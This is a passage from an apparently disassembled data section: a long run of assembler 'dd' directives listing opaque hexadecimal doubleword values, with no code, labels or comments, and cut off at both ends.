0E58002B0h dd 42A149D0h, 7C349057h, 97E7004Eh, 94F9444h, 0DAFC7727h dd 0FDC1D917h, 73F8A800h, 5FB7D366h, 97C5690h, 8050996Ah dd 1C1274Ch, 0BA6C73D0h, 842EBDC5h, 0AD68C8A0h, 8010BF48h dd 8BBD33E2h, 32E14E98h, 108372D8h, 2A7071Ah, 20DABB45h dd 62843A5Dh, 19AF9538h, 3EE71174h, 0BE0FB6D0h, 0FBE2008Ch dd 0D9F88458h, 0DE30BE61h, 167ECA1Dh, 3E184890h, 9C8BCABCh dd 0D4C0BB88h, 28F08653h, 2130B115h, 0DC086732h, 9417694Eh dd 0DD80A311h, 9D87294Ah, 4C946C00h, 0FC7AA232h, 8E5CBCCDh dd 0E5041079h, 0B244E3A4h, 7F413275h, 4D94413Dh, 2A42018Fh dd 0E52C922Eh, 0BD80F893h, 5B0054B4h, 80E764B0h, 0B01B03D3h dd 26ED2130h, 422F6291h, 0A05D8090h, 16B09D20h, 0C08A25E0h dd 14220B54h, 0E8F0A24Ch, 0D97C8C3Ch, 73BDF218h, 0A0D481C0h dd 856FAE30h, 37808911h, 3186791Fh, 449695h, 8F1F3F4Ah dd 489F8E16h, 18C6DA00h, 0E1154044h, 8D4A8B7h, 357B24C0h dd 0E58F07FCh, 0B1DEF08Eh, 30294D5h, 818230FFh, 0D0C0E0BEh dd 48FE78C7h, 0A6246864h, 0AF5B8B14h, 7811001Dh, 8C7A1080h dd 9D098BC7h, 5C8FB1A1h, 99FD0630h, 18FFF0ACh, 801F0838h dd 39C4D986h, 1F60494Fh, 0E0727CFCh, 8F045491h, 44BA6BB9h dd 0F4CF3040h, 1F03F1F0h, 2E51F882h, 0DAE080B8h, 0C90D050Bh dd 122DC99h, 0F92DCDB7h, 94082AC3h, 39718068h, 8E43DE3Ah dd 2B34B002h, 6008609Dh, 28861338h, 0A8290FBh, 0E67559FCh dd 775F001Ch, 0FB2C7E22h, 72008DFAh, 0ECCBFC27h, 0F0CA9BB2h dd 82F609AAh, 84596024h, 8418B979h, 6BBCBA00h, 0FE39F709h dd 121D3BDFh, 0B1CA18CCh, 90D1418Ch, 8482045Ch, 15C5E91h dd 0DC23931Ch, 8554308Eh, 0B021A85Eh, 0FC0014CAh, 7D54CCEFh dd 970044A4h, 33023282h, 24DA53B7h, 1618B310h, 133C21BBh dd 0BD9BF029h, 0ED380CACh, 0B1F51388h, 0C0380027h, 0C136CC79h dd 3C2C644Eh, 0CC7B259Eh, 1F00CC5Bh, 922DC1DAh, 58A2977Fh dd 7E18B77Dh, 0D7D08060h, 843B26h, 0A1066109h, 0E3E13FF8h dd 18E0034h, 0B67D2028h, 2C728253h, 37E50044h, 3C5984B3h dd 620A39E8h, 370ACD2h, 2FF205ACh, 5FD80D38h, 420055FFh dd 0AA08F8BEh, 4EC5E8CBh, 231C2E62h, 0CF77004Bh, 43FF3257h dd 0DDFA1D1Ch, 0C5043F02h, 805C74FCh, 97A7ED99h, 6800A8BFh dd 0C7D34896h, 705E20Ch, 309CD9CCh, 1C775FC1h, 0EDF2622Ch dd 3B22500Bh, 124C81DBh, 2F8238h, 0FB4A94F8h, 0B2028D44h dd 63B6A781h, 20E07A25h, 29552269h, 0EC046890h, 24098C09h dd 0BAB4C6h, 0A3FDDC7Dh, 0CA9405A9h, 8E6063F8h, 0C0BE8840h dd 0FBAD1D5Ch, 7307A9E2h, 0B253C476h, 8C04F86h, 31C1DDEFh dd 4CA4FC22h, 69E3E000h, 845B7BB5h, 7C78F3A5h, 0F68C75B8h dd 70F4D43Fh, 42B0AA2Ch, 0D1207D16h, 30D22141h, 62905F88h dd 440FB96Fh, 65E8C73Eh, 20CDC5F0h, 81043832h, 0ED0AFEF8h dd 248B718h, 3C25C5E6h, 0F06050D2h, 2DFDF9F9h, 900A7CA8h dd 8C362C22h, 0B0341500h, 0B2AE7280h, 38997929h, 0AE7B64C0h dd 4BEC97h, 0F4107AEEh, 40488ACEh, 9CD0FC5Bh, 0BCEA3B28h dd 376D00F8h, 66925329h, 0A58310C5h, 4BF264B2h, 0AE5430h dd 65032A6Eh, 8784EB24h, 4DC42814h, 742E17B0h, 0CA36033h dd 692A11B1h, 1C229620h, 0D3DF2275h, 508D4205h, 0C8082987h dd 0DFC50A5Bh, 69046F28h, 2CF050Dh, 88EA4C93h, 93EFF66h dd 9635E733h, 1592882h, 2E28240Bh, 0DC6964B5h, 0DE413ACh dd 0BEEBE00h, 66FA98F9h, 9DE721Eh, 0CAE3DC7h, 1554749Eh dd 0F8C56AC4h, 644D7992h, 8868F982h, 58CBCBCh, 5077ECDCh dd 0F06186F3h, 883DBD21h, 1749A886h, 804C11E8h, 8E46CEF5h dd 0AC8104A6h, 0BD95A085h, 761D0B24h, 0B468160Bh, 33ED4018h dd 58000587h, 5A3B8955h, 52EA4ABAh, 0CB889090h, 8BDC93h dd 0DAC00A88h, 37DFF69h, 0B215C573h, 210B6F8Dh, 8E4409E7h dd 5C968AE8h, 647DAE08h, 200C22C0h, 24E63571h, 48D69B5Ch dd 3FDF10B4h, 4991FD38h, 0ECD0225h, 482B4DF4h, 4D64D2ECh dd 9F4F6824h, 3722140h, 5A848A53h, 1C5610Dh, 9020380Bh dd 0BFA62E6Fh, 7E0E050Ch, 0DF00475h, 0C0A04E10h, 0F0847B83h dd 5035F1B9h, 50485872h, 890FA611h, 58305362h, 489CF3C8h dd 2318F35Eh, 0C87A2400h, 4E079CA3h, 40720CD6h, 306146E5h dd 84DE3B27h, 20EE73D8h, 0EE29C9FCh, 53413D1Fh, 2508017Eh dd 75DDFF4Ah, 74720461h, 883075F2h, 0D80A1CAFh, 2698496Bh dd 9D279816h, 91749DABh, 4A918074h, 2AD3D25h, 27C6BD9h dd 905F489Eh, 2342440h, 0F92EA079h, 0C748C44h, 84825944h dd 0B202A20h, 84990D65h, 8F9F23Ch, 17184AD9h, 765ED902h dd 77B5FDE6h, 0C822D480h, 300B358h, 9A92866Ah, 0BBC06B94h dd 0F5FD03B0h, 31002D11h, 0A41E36F3h, 0BB5E94h, 257E7D50h dd 0E04C88C8h, 1530AC02h, 7932FCEDh, 180B79E4h, 69031F66h dd 0C420E7BBh, 0E8893AF0h, 1F001D78h, 92FEFA9Dh, 75754F81h dd 610B277Eh, 5583FC79h, 0D81C9166h, 4C24AE94h, 0A624CCDFh dd 62728130h, 24292DCCh, 1F2CB2E0h, 8CA93023h, 0AD1876D1h dd 0A9FAD271h, 0F5B1970Eh, 27594BE6h, 44E253F4h, 0ECDC045Ch dd 8C71B8E8h, 43A5A30Bh, 9E8C5127h, 0C607A05Dh, 0D9DB3177h dd 614E02D9h, 5EF87CA4h dd 8A003846h, 5B123731h, 0EF0096B4h, 0A4F8D05h, 615C6D77h dd 0E085F143h, 0A9A1E495h, 3A2BAF03h, 0E81F4ED9h, 1C179A6h dd 0FC6AF0C7h, 0D9258648h, 2078A1h, 0E8F81D42h, 5796C5h dd 114450Dh, 18270363h, 2DC87860h, 0C4A6616Dh, 1D8AF1E0h dd 357773BFh, 720173ECh, 0F8361930h, 75E24FCDh, 96666483h dd 1004C6EBh, 0C730D4C1h, 76E278A2h, 273E30h, 9A38748Ah dd 0E682CC4Fh, 0B22E040Bh, 341859ABh, 0EC5CA8C0h, 7D3C8CB6h dd 58B527DAh, 5D0D4464h, 23A8489Dh, 53F600D4h, 0DDB20F0h dd 0A6006DE2h, 56D7708Ch, 7585B1Bh, 1DCDC4CBh, 0F080B9EAh dd 0B365F823h, 9E800891h, 510E4AD2h, 27487983h, 30A0FCC2h dd 0EF3601D8h, 6CE0703h, 983DA030h, 6A7AD6h, 0C52E6226h dd 12C79CCh, 0CE930E0Ah, 0ADC6DC77h, 0D0B9C08Eh, 75D7F3D9h dd 4F71200h, 802E32ABh, 24650F05h, 4A60DFC3h, 0F9C7D00Ch dd 0E5967D01h, 0C87F54E8h, 0F5FCD440h, 943B4939h, 432B8A1Ch dd 0BE706BAh, 0B6AE8EC8h, 8498ED50h, 5B4E84B0h, 0B37F4B0h dd 5DBCBD9h, 0E8C9508Fh, 0C61740FAh, 0C0422635h, 7742640Eh dd 0E6192010h, 7FB7C518h, 9985AD70h, 0FDE705C8h, 29D49025h dd 0CC941FBAh, 73135809h, 0EB197050h, 0E5209200h, 30EC430h dd 6888E749h, 4A003EB1h, 0FEBA871Eh, 4B6D09D8h, 6C7E566Ch dd 0B7513E00h, 27F88581h, 8C48B55Dh, 0D8D32A4Dh, 0E3DD3CCBh dd 4BA6201h, 0D6E49294h, 3A02262Bh, 2C390954h, 0CD4174D4h dd 2100228Dh, 6AE7E0D2h, 20076022h, 39C5FC44h, 7916D4B6h dd 8DD56004h, 54244CF2h, 22D74010h, 0CD09E817h, 0F10D586Ah dd 18B5D1D8h, 0F74B00DAh, 67FBC2BCh, 0B50C1AE4h, 705FC74Ah dd 59DC8865h, 3FFFE0A0h, 4B106380h, 23A42E49h, 595D0EBCh dd 1EE0CC40h, 0FF04E4EEh, 84457C0Bh, 0E48EAC84h, 0FC18088h dd 3C204A5Bh, 0F1978870h, 0CCF5B53Eh, 582F5ADCh, 41003923h dd 6469968Eh, 17187CB9h, 0D1E704F4h, 2D244250h, 68EC278Ch dd 1D411DCh, 0E6DFE4A3h, 0C75D73F6h, 0E8574798h, 0A384B654h dd 79A0F30Eh, 44B122D1h, 3A5040AEh, 131FEAEEh, 761A42h dd 0AB3F8718h, 10054936h, 14F1D272h, 65029CF2h, 0AB73771Eh dd 4892045Ch, 61FEEC00h, 3043A204h, 0DBD14E26h, 1D13DF9Fh dd 8891B92h, 0A24C24DEh, 30B9E23Ch, 52C5C19h, 0C3019280h dd 0F41543F5h, 40A10070h, 1B0E2760h, 0B6EC5538h, 782D2CA3h dd 0C77EA840h, 8BA0D6h, 0F2C0B8C8h, 2DFD057Dh, 0E44071C5h dd 971D677Ah, 0F9023FB9h, 7F8DB231h, 3C099418h, 0A2FC99CFh dd 744619EEh, 41854508h, 0B23DC6A4h, 4C0F2E63h, 0E2385017h dd 7DE64A8Ch, 0ED07A051h, 9A649826h, 79D95937h, 0B1AF02E8h dd 944128CFh, 7827C9E5h, 16A13ED0h, 28914D1Fh, 0E5022C89h dd 143E40E4h, 43652FFDh, 5463F210h, 0C403D620h, 0BCCBE09h dd 3E6800Eh, 89CB02C5h, 4CABBA53h, 2BB7F468h, 40651526h dd 1767A808h, 0CB780019h, 0E0DF31A5h, 0DC730A0Bh, 91E0D8ECh dd 18B6D130h, 11291320h, 6594D0ADh, 50B0F82Eh, 236D520h dd 0DF72D4A9h, 0A27D0DDAh, 1262CECh, 41A4ECEFh, 10A778D0h dd 827DFA35h, 38018874h, 0A6ECEE26h, 0C46C2890h, 2304081Ah dd 0F240A2A5h, 7858324Fh, 97B8522h, 2345D5FDh, 0C8B1404Bh dd 94843063h, 36B1FF07h, 179BCA13h, 81389124h, 0CC5BF1E2h dd 264F5D20h, 5C8F5BCh, 0AABD0AEFh, 6B235820h, 223703B1h dd 2ACE0F73h, 3F4950E1h, 60F79885h, 377F9DA0h, 0AC0085F0h dd 324D785Bh, 95C1F884h, 0EBA93400h, 340998BEh, 6565742Ch dd 604FE494h, 5D232860h, 0F12242Eh, 0F308035Ah, 4AE2DDE8h dd 529C307Dh, 99EB0FF2h, 1B607375h, 80E1BAF0h, 0C4FC8BBDh dd 2D020270h, 5028C722h, 0FBECEB60h, 469563Dh, 0A7649E9h dd 63F5ABC7h, 92F80A8h, 38C49C47h, 8CBE8560h, 0BB0ACF1Fh dd 82C1F141h, 1C2C79F8h, 0C453AB3Ah, 0BFB8904Ch, 7D7008Ch dd 988ADA45h, 5CBCDEE5h, 99EA803Ah, 212C2052h, 426F0C15h dd 9499CE2Bh, 1A4B3FFAh, 1CC12CD4h, 0AC24AE04h, 81AD8838h dd 5A938096h, 0E6B4A4h, 1CEE389h, 0C84CEE6Fh, 0AF7A3D25h dd 0C02232E8h, 93E18B8h, 96D8B80h, 9890AD5Eh, 652D74DCh dd 6077E410h, 3F6C023h, 0CD6E61Bh, 0D900D52Fh, 64F2AC14h dd 9CDCB72h, 0B7FCED1Dh, 36E6FC01h, 0FD862CFh, 20286F9Dh dd 162E6899h, 0B7AC0083h, 0CAE10EC8h, 8C023906h, 988202A1h dd 74F4BDh, 0FCECA7B6h, 2C4835D5h, 9BFE80E8h, 0F15D06B5h dd 3FE39051h, 170CD7C0h, 0C102E2D4h, 0DCD940A8h, 8A027A88h dd 0ECEE738Ch, 0A89002A6h, 841D4203h, 458F6C81h, 0B828E904h dd 31839D0h, 3263016h, 0F1CC049Ch, 948EF84Ah, 6EC43288h dd 26DE8C98h, 25F406E0h, 0FD29B8E8h, 64555C24h, 20720B2h dd 0F5260D66h, 438720D8h, 0FC88424Ah, 69830070h, 20C856EFh dd 0FDE0E9C3h, 805D6506h, 97B98DCCh, 0C9008C37h, 0A82DB032h dd 28C07DDBh, 40BC1A03h, 0A24025AAh, 54D14CC1h, 24E0F525h dd 0B0B13042h, 51F10B03h, 0E8180BABh, 4C6C0DF7h, 0BBD1A601h dd 8EED4FC6h, 90679060h, 3F2944B4h, 89C4FD4Ch, 0C1F410E8h dd 1AE10A5Eh, 88C7FD6h, 0A70441BFh, 20A807B9h, 39595D18h dd 784F69AAh, 7FE4E2h, 19ACFD2Dh, 70559DCEh, 0F8008FE0h dd 0E3F91F58h, 3A859296h, 0B8630DE8h, 0C3B567DEh, 0C10064E0h dd 0E04AD7ADh, 3A54FFAh, 722487B3h, 0D3F01965h, 8870EC09h dd 241156Bh, 50F1E70h, 0B2C4C147h, 0F8212F8Bh, 0BCED58EEh dd 184D11A7h, 0D6C903C0h, 1444B5F6h, 0E92B0400h, 0A1608B21h dd 0F2212FFh, 8004A842h, 97D77118h, 4F7D03E1h, 37813EFAh dd 2F429490h, 827ED210h, 49FDE70Bh, 0B9A1B040h, 72486B2Dh dd 3C352000h, 0A46B4C5Bh, 4F4BA20Fh, 0E9D2D140h, 8C766AA1h dd 644C85Dh, 2749AC63h, 7FB11179h, 0C1C5075Bh, 72C40AB0h dd 787630C0h, 0C47B043Ah, 0C1D2422Dh, 0FCA9DCA4h, 6007921h dd 0B2079702h, 1466A1Ch, 0DA30ECE0h, 88B86EB4h, 0A045C9h dd 0BF5EFF89h, 0A0B9C59Bh, 99E24682h, 1FE8533Bh, 0B6DD02DEh dd 30D62F63h, 0A27F27BAh, 0F0BE4400h, 30033C74h, 0B59F307Fh dd 9C86EA11h, 0BC20D1D2h, 9525A5E7h, 90DA78A3h, 0AD1059B6h dd 91002CC5h, 0A248AFD4h, 9E005ED3h, 0AA7252E5h, 27A082FFh dd 0E444BA61h, 0A54F7443h, 0D0E6DD98h, 49B7B1CCh, 3BD5BA48h dd 0A1DDEF00h, 22D0C495h, 0C4B5EDE1h, 69CB3B38h, 0AF6F4400h dd 5A0329C9h, 8B13DC9Eh, 40B39C9Ch, 1B2CE259h, 410B58F4h dd 6B90E4B8h, 0E05C21A3h, 0EEAE9E40h, 537C01FFh, 0C678EAD5h dd 46DDE48Fh, 0E04C8051h, 8CB1A1B9h, 7C9608h, 6F9F081h dd 0B7B57B3Ch, 6A9E00D8h, 0D5F6CA7Ah, 6E058100h, 174103D7h dd 8D750A87h, 29CC524Bh, 0EC172F8Ch, 89800C91h, 0AE47B848h dd 53BD3802h, 0FE2DE3BAh, 0D7B285B8h, 0C2FCFC43h, 44DE7280h dd 0F42700ACh, 159FA6Bh, 7D020EDAh, 2E66BE05h, 39B878F5h dd 0B3ACC526h, 0D900DE54h, 7EDF8327h, 443DD50h, 0AC62F715h dd 0ADF8B025h, 0CDB4CF1Eh, 7165509h, 0E13CE584h, 5A363B8Dh dd 0C6FFD200h, 56F0BCDCh, 0D8E0E375h, 3623100h, 0A0A68E45h dd 0F0635A49h, 7841EE90h, 746056FEh, 2D017846h, 2615B608h dd 4DA0824Eh, 0F163F712h, 60B4731Ch, 605C6D02h, 0BFCD6150h dd 84003645h, 47FE069Ch dd 122CFC94h, 92A71Ch, 6BCFB704h, 0D617A280h, 8C8E3C88h dd 41C377C8h, 4712C043h, 61A7001Ah, 5359B584h, 0AF9F19B6h dd 2F8568E0h, 4A91E417h, 0C71E0480h, 0C5251BB6h, 0A560789Dh dd 4ED2D68h, 0F080D145h, 15E3D6Eh, 22F61C5Bh, 0DACC5FDBh dd 422EA261h, 908A3C34h, 946769Ch, 0AE6BD50Fh, 0CED224C0h dd 761EFC28h, 665841B3h, 78A2C29h, 0FC4E9C5h, 87C0AF49h dd 5811D8EDh, 375A0A0Eh, 0EE04E247h, 0F38CA95Dh, 23D57008h dd 38220226h, 2868002Dh, 8110722Bh, 0DC7031C6h, 0B3023F6Dh dd 0D60CD346h, 0F5A48141h, 562F2949h, 5D3CE498h, 0A110AE95h dd 23111C1Fh, 2470C5ECh, 2370B37h, 6D8B91DBh, 5AE79C68h dd 822B4081h, 7305675Ch, 8C20588Dh, 0AC05F32Eh, 0A7262718h dd 448CB3Ch, 0A0E5F105h, 0E002DECCh, 2BDC730Bh, 0D93C790Dh dd 1CF419BEh, 0B2A0775h, 90048F9Dh, 5CC7CC21h, 0DC3FD32Ch dd 38833613h, 6547C848h, 80254A90h, 6DF88374h, 0C3A00097h dd 3B35FC53h, 0E7807284h, 15407E11h, 0BD2F80B2h, 0C48065C7h dd 5738610Ch, 0F7E17E31h, 5EB98FE8h, 0F08025Fh, 94D055CCh dd 0F082E109h, 9EA8D0A9h, 0B4CA44F4h, 9400617Ch, 3C97F4F1h dd 590770h, 8D21BF4Bh, 559E4579h, 3F0CC17Bh, 4965F106h dd 0A4C918B1h, 0F8234064h, 0F3D3D12Dh, 1CF0EB8h, 58550090h dd 0C502443Eh, 94BD1F72h, 43DD7D7h, 1365F774h, 0E3DD048Bh dd 64251700h, 0E61B4051h, 0A71126ECh, 0E1BF0460h, 0B234B45Ah dd 3D3C3F5Dh, 3941E05Dh, 2487CBDh, 0EE104DBCh, 10E1A1ECh dd 3E218F7Eh, 21076B23h, 6FCF98C4h, 0CC17A884h, 0E2E4A443h dd 23D04645h, 751E27AAh, 2A896811h, 24FD604Eh, 10E424E1h dd 1D81401Ah, 8397F5FAh, 22FCF14h, 68976659h, 265D8C5Dh dd 84974E4h, 6091F5E7h, 3185CF0Dh, 0BFF13441h, 82298A00h dd 0C402CC5Fh, 5A1C04E7h, 5E60B600h, 97B18F7h, 2F426323h dd 0E1058068h, 0B1BF8D25h, 87086124h, 44AFC894h, 9169048Ch dd 0C3838B75h, 989A809Bh, 19A08257h, 0C2F7005Fh, 0B925DD1Ch dd 0F5D4EA26h, 433B3C21h, 8540402Ch, 0B24011A0h, 601E67E8h dd 0D1474012h, 8B52D3DBh, 40C33F9Ch, 0E3AA2D73h, 0CB27E880h dd 0E4261618h, 9C161009h, 48D758E4h, 78C09042h, 0CECA9767h dd 58695CEAh, 0C058EDC9h, 0E4246579h, 2E1BBD0Fh, 0D84EAC8Ah dd 0C8D200D0h, 763362CFh, 0B31E916Dh, 0F970B253h, 5E2BB7C5h dd 62D8D2D2h, 9460E8F6h, 147257A7h, 0E409E67Dh, 0A63F6112h dd 449FE088h, 0F94802E0h, 0AB916F15h, 4BDFE4E0h, 75784EBDh dd 0DD61446Bh, 0BF0151EAh, 8478F69Fh, 8052C64Ch, 0AC905F42h dd 2FF969D6h, 0BAA0CCh, 1297CC5Eh, 36E3F5F6h, 0AF405705h dd 9C40495Ch, 29F1B7CAh, 42FA3Eh, 41957EF5h, 0ACE1BDD8h dd 54B30809h, 40909174h, 8A091020h, 9401A080h, 4713CD72h dd 80B01E3Bh, 0C5A02F0Fh, 0FB4E28D0h, 40B584D2h, 0E353FFh dd 6EA99D61h, 0C7DEEB34h, 5CB6430Bh, 62B017Ah, 8D6F7326h dd 14162BCCh, 0BBF0F0A0h, 7CC52764h, 3E614C64h, 0C084D169h dd 0B4848CA9h, 406E2734h, 0F5CC221Dh, 0C8A51813h, 0A288802Fh dd 1492DBB6h, 0B5847D4Ah, 8C8A1497h, 0DF5CAD80h, 4EEDB807h dd 5D5883ECh, 881CCFA5h, 5B82C071h, 3000A78Fh, 0E6672811h dd 25DA2C31h, 0C0905E64h, 0EE887102h, 4271C46Dh, 0D7108825h dd 980A055Fh, 5942D478h, 47BB24ACh, 3120960Eh, 0C34BE2h dd 52CB4F7Ch, 0B932E67Bh, 9F985A05h, 78436112h, 80301DA3h dd 13B66D15h, 3064D57Ah, 713D35A4h, 0B66EB380h, 394676E4h dd 0F0C0A03h, 0E925E9F4h, 5C9C32DDh, 0C465674h, 9058CC07h dd 70F7D334h, 52A488BDh, 7FE55C00h, 4B05DBF3h, 5F7812B8h dd 1BAC3087h, 9400DE2Ah, 0E4C83202h, 6C91C0h, 0B5DB9748h dd 0A7B723E2h, 0E47650AAh, 0E13802DCh, 62833474h, 18026879h dd 70EF5CD5h, 0A5FB22B0h, 871FCE00h, 0FC93B3A3h, 314BFDh dd 0B78D7CBCh, 17954234h, 81379150h, 9844E55Bh, 43C09030h dd 99EC2246h, 1837D178h, 566F12CAh, 5484B048h, 10BA9451h dd 0D0471280h, 7B29AAB0h, 0CA8084CBh, 54BFED0Dh, 0F2E64BB4h dd 7B392504h, 0DB67084h, 477F5FEh, 0FC2AF705h, 0B458F9C5h dd 1112A798h, 3B61EC96h, 0B095809Ah, 0F72E6635h, 0E7DCA9E6h dd 0E47B72F8h, 0D0AB4AC2h, 424D84F0h, 0C189769h, 4B7C19CCh dd 65B82073h, 0C7F0FE2Eh, 60B6352Fh, 5FF885A0h, 1298B015h dd 7A821810h, 2F8C9B75h, 0B4A69BF8h, 0E9268525h, 509EC560h dd 6D4A2062h, 0AD1480F3h, 8C581C82h, 385E111Ah, 0DB2548F1h dd 6CFA70ACh, 0E4055DFCh, 2C152ADBh, 0E20404B2h, 0B808C3E6h dd 1F252F74h, 8F3C112Ch, 0D0CBE0ABh, 0B9D4E623h, 96F29D3Ch dd 281020A0h, 3CE90A03h, 6AAEB4F0h, 0AD660020h, 0CA0524D8h dd 23201370h, 9B3CBC84h, 0ED47E002h, 5E3A03F4h, 0CF7746B1h dd 0C90A96C0h, 78E61798h, 0A05C7B2Fh, 85D92254h, 5BA50966h dd 24741540h, 929B780h, 4A35C60Eh, 8374070Ah, 0B7762543h dd 0ECAA1058h, 99213F82h, 757D161Ch, 0A01060EEh, 2D17C67Bh dd 94B0777Eh, 0C0649DBCh, 10F02495h, 0ECD22142h, 0A56F032Fh dd 9659810Fh, 3898742Dh, 0C69541E0h, 6F65048Ch, 0BE988BACh dd 5B59A842h, 6078DB3Fh, 49A4D226h, 89F038A6h, 3725C480h dd 0C0F82E9Dh, 1E1DDFB5h, 0ADC00B7h, 172923D1h, 0BD2DF0AAh dd 2F7C40C4h, 281AACA0h, 60A8A649h, 0A083A2E1h, 0C6A1CF4Bh dd 531AE665h, 0A46421ACh, 65E3D048h, 908220A5h, 2398DC5h dd 6858A615h, 0E54F88F8h, 0E22EE080h, 5320B0CBh, 0B2287021h dd 13708090h, 4A074856h, 0DC23B113h, 625DAFB4h, 0F3B820h dd 1F219CFBh, 42838D92h, 0A570109Dh, 0D0F60B6Eh, 9100B02Eh dd 70FF1BEAh, 77635600h, 0FC25E501h, 0FBFE1CD7h, 0FA8E4979h dd 0FB732CFBh, 0AA5CF09Eh, 4F210054h, 7833E629h, 90265984h dd 0C700F67Fh, 0D41F055Dh, 220B00F3h, 6550289Bh, 6030DC6Ch dd 3E4721BCh, 0E7FA0491h, 80E3224Bh, 357FD8A0h, 8025E2E8h dd 0C05296h, 4E17A6E6h, 650F2B8Dh, 78DF6A00h, 487F1B6Eh dd 0E247003Dh, 0E1C64C96h, 0B33B376Fh, 60AF0B79h, 433A00A2h dd 98CCC215h, 6F0E22A8h, 3B21CB0Bh, 73CCE096h, 0B78400C5h dd 0D3B842CFh, 0FCB220D1h, 0E104C490h, 0A47DC9E2h, 0A0942BFFh dd 1BB87486h, 83A0E06h, 5D022BE2h, 5A8C020Fh, 2378D02h dd 0E70FFAD2h, 55C2B69Ch, 3D4840BAh, 0FE08C6AAh, 85371899h dd 0D4262828h, 0C6C0EC18h, 1826D508h, 8098A31h, 0DF015B38h dd 0AE48033Dh, 0BA92028h, 10C28B31h, 9A01E78Fh, 0D9B101A3h dd 0E5F8088Ch, 10C6CDB1h, 2008F632h, 5131F544h, 50F22054h dd 0E2EB0888h, 0C416108h, 0BEB09AA2h, 59C3F9C4h, 4270204h dd 0A5044D46h, 2D360675h, 250B2008h, 0F9F7AD33h, 0C6101801h dd 5E9508FBh, 801AC880h, 0F8133C2h, 94894195h, 10407210h dd 0F119D8A6h, 888610FCh, 0C210231h, 7020ACCDh, 0C496E140h dd 0C7D99A9h, 62EB5960h, 3583082Eh, 3E85C02h, 4010F132h dd 0D1812C4h, 0C1C310CEh, 4BF08C6h, 0FE9F2018h, 20C9FF20h dd 0A0654E5Eh, 8C4654A9h, 2020AD83h, 0E17D4B76h, 0F188C081h dd 820813F9h, 5C350CE9h, 0E3405008h, 0FE76400Eh, 923F0340h dd 0AF2C2024h, 8F31531h, 2088385Ch, 5B15A16Ch, 63BC48ACh dd 10DB8F08h, 10E44618h dd 432A52DCh, 0FFBE20C8h, 708074EEh, 24778109h, 5040A320h dd 87BC400Dh, 0AA100A63h, 0AB081811h, 58C818CBh, 80777580h dd 8CA1547h, 0FB88E41Eh, 0A11419F9h, 73A05371h, 0A866917Bh dd 20510410h, 393305E3h, 31A06941h, 0AA694048h, 4BFD0233h dd 3EEBA0Ch, 101BA263h, 19B1948Eh, 83FDEA9h, 32CC5165h dd 16D052F8h, 372B902h, 1818C362h, 4308A660h, 229B80ABh dd 28A3ECAAh, 182AD749h, 9D2A98A6h, 16FDF00Eh, 81A863B1h dd 3010D029h, 0BB104790h, 128B1045h, 20A71D18h, 8CAA427h dd 0A95DC6Dh, 899831D4h, 52032193h, 4C361924h, 10E4FD95h dd 0D01027A2h, 0A1DA3156h, 4B02131Eh, 0FDE03468h, 242108C9h dd 80910EF8h, 8D023E9Ah, 83DEC48h, 0C4BF8580h, 4195220h dd 0EB0440B4h, 0D5700459h, 0C291BD0Ch, 0E5C4F812h, 0BC3BCB4h dd 0E378D7D9h, 81BAD4A7h, 80D6A0EFh, 283A5310h, 2470B5Bh dd 19482F4Eh, 1CE90FD1h, 9FDC40C9h, 3C004D37h, 6A96EF47h dd 74295CC6h, 10FE1701h, 8090E852h, 4255D491h, 15440F17h dd 0DBA1DF95h, 0D03C267Ch, 3018BCC1h, 4061645Ch, 19883ACCh dd 0D0C92712h, 46EAE560h, 6E064B03h, 37F7A4h, 0F4D663B0h dd 84B30DD3h, 0D7682003h, 0E8224349h, 0B4B88h, 79B543Ah dd 26574E27h, 508CBA06h, 15878E0h, 0CF3F0985h, 7114C27Ch dd 3978BC88h, 7810E09Ch, 2F8660E6h, 0A8D2598Dh, 3018C87Fh dd 5C08C731h, 0B8536F1Ah, 0EE6FD280h, 8500ABE8h, 0D6774029h dd 6A577Bh, 7C03FC97h, 1D8C4218h, 9C160600h, 0B4525E56h dd 0FF8B30C9h, 3F018570h, 6F8215Ch, 905DCF5Fh, 29100F18h dd 1DFF2E66h, 34EA948Ch, 753F6105h, 0FD9420D0h, 0AC30CCECh dd 0A50D3883h, 4F9D28E1h, 782000FCh, 0E64C6D0Fh, 0A800F134h dd 1DB54014h, 259BD78Ah, 4782596h, 815C710Ch, 3B4F08Dh dd 0E80159A7h, 481E58F6h, 5B16808Fh, 854014C7h, 2D82FF5Fh dd 88E047C9h, 404E5C80h, 7C65E480h, 0FBDD3D67h, 50FC00F4h dd 0E86CD686h, 99CE7390h, 744D4143h, 58805BCEh, 0AE4BEEC7h dd 0E9066477h, 7338E67Dh, 1DA33AE0h, 300C7F80h, 8B0874DAh dd 3C16967Ch, 80A06AE1h, 281274A7h, 2A42729h, 0D1535723h dd 0D886D4C7h, 0C63CD911h, 20E413A4h, 0BA877C93h, 4ACE0C3h dd 2C0231EEh, 6C927BC0h, 0B5CF171Ch, 8D0060ACh, 0C1737DB3h dd 1A008A21h, 6FC9C7A0h, 1A5E4FCEh, 28D8C6CFh, 0E7EC00FFh dd 7BE861E5h, 91F0C0BEh, 29B70128h, 9CAC3150h, 0A7BCD40h dd 0A72096E6h, 865807E4h, 8B089C80h, 4A60A104h, 14901FA0h dd 0D8204011h, 0FB529099h, 0F0342E4h, 0BA8AD560h, 0C61114FCh dd 21C6749Ch, 197990C8h, 0E0891483h, 0E52628ECh, 0B4422781h dd 34F410FDh, 21654B61h, 843326B4h, 1D9CDD10h, 7038C080h dd 5D8A2519h, 5C867854h, 0EB408573h, 91073879h, 8A300E10h dd 0F88617C8h, 7BA71C7Ch, 0CF44AB41h, 0E987F449h, 8C66E857h dd 0E20E2768h, 205A7C1Fh, 308E2FCDh, 86280B14h, 0B4E0D7E5h dd 98A240FDh, 0BFA68C83h, 9EA88DA4h, 34D87BE9h, 6F1ECF50h dd 5C42F003h, 0F8A20E14h, 2F000A9Bh, 0D50139h, 60FB21E1h dd 3CDA108Ah, 0DD14D278h, 4898F4D9h, 0E015CE24h, 0ECF7FBB5h dd 9FAD305Ch, 0AEBDEF0h, 54FFE500h, 21B69C43h, 80D891E1h dd 97CE8630h, 38002D4Bh, 17218E3Bh, 459BC37h, 0CCEE64F8h dd 8CE8B00Ch, 0B4E86312h, 4048E842h, 0B850609Fh, 0DD89205Bh dd 91535C00h, 7A6A2E32h, 0A49C0098h, 0CA29D32Ah, 0B400706Eh dd 0C80C9057h, 2D2E75EBh, 70416CE1h, 28683DABh, 0F8C05021h dd 85C7886h, 0C090A379h, 3528ACDh, 7ADDBF0Ch, 0B81D7E0h dd 972C3085h, 24606B48h, 8A6038E5h, 0D519FCh, 0A19F7B46h dd 